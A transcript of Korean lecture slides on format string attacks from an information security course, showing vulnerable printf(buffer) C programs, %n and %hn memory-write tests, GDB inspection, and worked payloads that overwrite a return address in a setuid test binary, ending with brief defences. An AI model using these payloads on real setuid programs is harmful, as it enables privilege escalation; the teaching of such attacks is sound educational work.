1 / 25

√ 원리를 알면 IT 가 맛있다

정보 보안 개론과 실습 시스템 해킹과 보안. √ 원리를 알면 IT 가 맛있다. ehanbit.net. 학습목표. 포맷 스트링의 취약점 이해 포맷 스트링 문자 이용 포맷 스트링 공격 수행 포맷 스트링 공격 방어. 포맷 스트링 공격에 대한 이해. ■ 포맷 스트링 함수. 올바른 포맷 스트링 함수 사용법. #include &lt;stdio.h&gt; main(){ char *buffer = &quot;wishfree&quot;; printf(&quot;%s<br>&quot;, buffer); }. 잘못된 포맷 스트링 함수 사용법.

Download Presentation

√ 원리를 알면 IT 가 맛있다

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 정보 보안 개론과 실습 시스템 해킹과 보안 √ 원리를 알면 IT가 맛있다 ehanbit.net

  2. 학습목표 • 포맷 스트링의 취약점 이해 • 포맷 스트링 문자 이용 • 포맷 스트링 공격 수행 • 포맷 스트링 공격 방어

  3. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수 • 올바른 포맷 스트링 함수 사용법 #include <stdio.h> main(){ char *buffer = "wishfree"; printf("%s\n", buffer); } • 잘못된 포맷 스트링 함수 사용법 #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); }

  4. 파라미터(Parameter) 변수 형식 %d 정수형 10진수 상수 (integer) %f 실수형 상수 (float) %lf 실수형 상수 (double) %c 문자 값 (char) %s 문자 스트링 ((const)(unsigned) char *) %u 양의 정수 (10 진수) %o 양의 정수 (8 진수) %x 양의 정수 (16 진수) %s 문자열 %n * int (쓰인 총 바이트 수) %hn %n의 반인 2바이트 단위 • 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수 • 포맷 스트링의 종류

  5. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test1.c #include <stdio.h> main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); }

  6. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test3.c #include <stdio.h> main(){ long i=0x00000064, j=1; printf("최초 i의 값 : %x\n",&i); printf("i 값이 저장된 주소 : %x\n",i); printf("%64d%n\n", j, &i); printf("변경된 i의 값 : %x\n",i); }

  7. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c #include <stdio.h> #include "dumpcode.h" main(){ char buffer[64]; fgets(buffer, 63, stdin); printf(buffer); dumpcode ((char *)buffer, 100); }

  8. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c gcc -o test6 test6.c ./test6 AAAAAAAA

  9. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%n"; cat) | ./test6

  10. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6

  11. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6

  12. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64d%%hn"; cat) | ./test6

  13. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%3221224116d%%n"; cat) | ./test6 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64180d%%hn"; cat) | ./test6

  14. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff \xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test6

  15. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff \xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test6

  16. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • bugfile.c #include <stdio.h> main(){ int i =0; char buf[64]; memset(buf, 0, 64); read(0, buf, 64); printf(buf); }

  17. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • bugfile.c ./bugfile AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

  18. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • Bugfile 실행 시 스택의 구조

  19. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • GDB를 이용한 Bugfile 메모리 구조 확인 Disass main break *0x8048657 run

  20. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • GDB 를 이용한 Bugfile 메모리 구조 확인 info reg $ebp x/12 $ebp

  21. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • 실제 공격 chmod 4755 bugfile su wishfree ./egg

  22. 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • 실제 공격 (printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf\x41\x41\x41\x41\x6e\xf3\xff\xbf%%64840d%%hn%%49831d%%hn";cat) | ./bugfile

  23. 포맷 스트링 공격에 대한 대응책 • ■ 포맷 스트링 공격에 대한 대응책 포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면, 문제가 생기지 않는다. • 주요 취약 함수 printf("%s\n", buffer); fprintf (fp, 서식문자열, 인자1, ... , 인자N) int sprintf (char *str, const char *fmt,...) snprintf (char *str, size_t count, const char *fmt,...) 유닉스 Sysem V에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf

  24. Thank you ehanbit.net

More Related